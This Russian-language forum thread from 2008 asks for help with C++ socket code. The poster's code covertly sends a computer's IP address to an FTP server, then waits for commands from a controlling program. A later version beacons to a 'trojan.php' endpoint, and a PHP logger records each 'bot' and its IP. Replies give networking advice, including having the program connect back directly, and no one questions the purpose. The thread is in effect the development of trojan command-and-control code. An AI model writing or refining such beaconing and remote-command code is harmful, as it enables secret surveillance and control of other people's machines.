Проблема с установкой связи (сокеты, C++)
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Проблема с установкой связи (сокеты, C++) - 2008-02-01 01:41:57.470000
|
|
|
voody
Сообщений: 958
Оценки: 0
Присоединился: 2005-02-06 22:28:30
|
Всем привет. Есть некая программа с большим количеством функций. Вот небольшой кусок из ее кода: #include <vcl.h> #include <stdio.h> #include <winsock.h> char WinDir[MAX_PATH]; // … GetWindowsDirectory(WinDir, sizeof(WinDir)); // … char out[128]; WSADATA wsaData; if (!WSAStartup(MAKEWORD(1, 1), &wsaData)){char chInfo[64]; if (!gethostname(chInfo, sizeof(chInfo))) { hostent *sh; sh=gethostbyname((char*)&chInfo); if (sh!=NULL) { int nAdapter = 0; while (sh->h_addr_list[nAdapter]) { struct sockaddr_in adr; memcpy(&adr.sin_addr, sh->h_addr_list[nAdapter], sh->h_length); strcpy(out, inet_ntoa(adr.sin_addr)); nAdapter++; } } } } WSACleanup(); FILE *ip_file = fopen((AnsiString(WinDir) + "\\ip_file.txt").c_str(), "w"); fputs(out, ip_file); fclose(ip_file); HINTERNET hInternet = InternetOpen("MyFTPClient", 0, NULL, NULL, 0); HINTERNET MySite = InternetConnect(hInternet, "ftp.narod.ru", 21, "***", "***", 1, 0, 0); // "***", "***" - пароль с логином опустим …. FtpPutFile(MySite, (AnsiString(WinDir) + "\\ip_file.txt").c_str(), (FormatDateTime("dd.mm.yy_hh.nn.ss", Now()) + ".txt").c_str(), 1, 0); InternetCloseHandle(MySite); InternetCloseHandle(hInternet); // … Таким способом она отправляет IP-адрес компьютера в текстовом файле на FTP-сервер. После этого, она начинает слушать порт и принимать входящие подключения. Теперь, в чем заключается проблема. Есть вторая программа, которая соединяется с первой и отсылает ей команды. Так вот, при попытке соединения с некоторыми людьми, (именно, с некоторыми, их не так уж много) появляется ошибка. Т.е., я указываю Ip-адрес, переданный кодом, написанным выше и пытаюсь подключиться, но, соединение установить не удается! Хочу заметить, что большинство из этих людей, с кем я не могу соединиться - живут в других городах и пользуются другими провайдерами. Кто может подсказать, как решить эту проблему? Или, возможно, подскажет другой метод передачи комманд от одной программы к другой, без использование прямого соединения с помощью сокетов, между ними? Заранее благодарен всем откликнувшимся.
|
|
|
RE: Проблема с установкой связи (сокеты, C++) - 2008-02-01 16:47:13.486666
|
|
|
necrostaz
Сообщений: 172
Оценки: 0
Присоединился: 2007-02-27 15:54:59.460000
|
блин конечно, ты получаешь адреса связанные с конкретными сетевыми интерфейсами, установленными на конкретной машине пользователя -> внутренние адреса, речи о соединении с компом вне локальной сети или подсети провайдера и быть не может
|
|
|
RE: Проблема с установкой связи (сокеты, C++) - 2008-02-01 18:25:14.250000
|
|
|
voody
Сообщений: 958
Оценки: 0
Присоединился: 2005-02-06 22:28:30
|
Да, что-то я ступил немного. Писал пост во втором часу ночи, башка не варила уже. Внешние/внутренние ip-адреса … Точно. Но, это проблемы не решает. Как по-другому можно передавать информацию от одной машины к другой по интернету? Ведь, выход в интернет у машины есть. Можно, конечно, поднять свой сервер в инете, через который две проги будут обмениваться данными - но это потребует кучу времени и сил. Может быть, есть что-то более удобное?
|
|
|
RE: Проблема с установкой связи (сокеты, C++) - 2008-02-01 18:48:46.550000
|
|
|
necrostaz
Сообщений: 172
Оценки: 0
Присоединился: 2007-02-27 15:54:59.460000
|
quote:
Как по-другому можно передавать информацию от одной машины к другой по интернету? Зачем же по-другому, сокеты - отличная технология. Просто нужно коннектиться к нужным ип, а способов узнать внешний - миллион. Посмотри здесь например. Хотя ИМХО у тебя немного кривоватая архитектура, вместо того чтоб определять адрес и отправлять его на фтп и ждать после этого подключения, прога может с таймаутом сразу коннектиться к тебе.
|
|
|
RE: Проблема с установкой связи (сокеты, C++) - 2008-02-01 20:21:31.926666
|
|
|
goldstarKZ
Сообщений: 122
Оценки: 0
Присоединился: 2008-01-16 19:02:41.643333
|
quote:
прога может с таймаутом сразу коннектиться к тебе. А как расковыряют твою прогу…
|
|
|
RE: Проблема с установкой связи (сокеты, C++) - 2008-02-02 00:50:31.603333
|
|
|
voody
Сообщений: 958
Оценки: 0
Присоединился: 2005-02-06 22:28:30
|
quote:
Зачем же по-другому, сокеты - отличная технология. Просто нужно коннектиться к нужным ип Конбэк имеешь в виду? И куда же он будет коннектиться? У меня ADSL, ip динамический. Или, вопрос опять сводится к поднятию своего сервера в интернете? quote:
А как расковыряют твою прогу… - это тоже. Не думаю, конечно, что кто-то будет ее ковырять. Но, тем не менее. quote:
Хотя ИМХО у тебя немного кривоватая архитектура, вместо того чтоб определять адрес и отправлять его на фтп и ждать после этого подключения Это не суть. Я делал и по-другому (код ниже). Результат, все-равно, такой же. Кусок проги (C++): char Request[] = "GET /trojan.php?cmd=getip HTTP/1.0\n" "Host: ***\n" //*** - адрес любого сайта "Referer: http://www.google.ru/\n" "Content-Type: application/x-www-form-urlencoded\n" "Content-Length: 9\n\n"; WSADATA wsaData; SOCKADDR_IN socketaddr; WSAStartup(MAKEWORD(1,1), &wsaData); SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); struct hostent *Server = gethostbyname("***"); //*** - тот же сайт socketaddr.sin_family = AF_INET; socketaddr.sin_addr.s_addr = ((struct in_addr *)Server->h_addr_list[0])->s_addr; socketaddr.sin_port = htons(80); connect(sock, (sockaddr *)&socketaddr, sizeof(socketaddr)); if (send(sock, Request, strlen(Request), 0) <= 0) WSACleanup(); closesocket(sock); Скрипт (PHP): <?php $logfile = 'ip.txt'; if (count($_GET) == 1) { if (isset($_GET['cmd'])) { $bot = 'REMOTE_ADDR: <b>'.$_SERVER['REMOTE_ADDR'].'</b><br>Date: <b>'.date('d.m.Y').'</b><br>Time: <b>'; $bot .= date('H:i:s').'</b><br>Forward for: <b>'; if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) $bot .= $_SERVER['HTTP_X_FORWARDED_FOR'].'</b>'; else $bot .= 'None</b>'; $bot .= '<br><br>'; $log = fopen($logfile, 'a'); fwrite($log, "$bot\r\n"); fclose($log); } if (isset($_GET['clearlog'])) { unlink($logfile); echo 'Лог удален.<p align="center"><a href="JavaScript:history.back();">Назад</a></p>'; } } else { if (file_exists($logfile)) readfile($logfile); else echo('Лог пуст!'); } ?>
|
|
|
|
|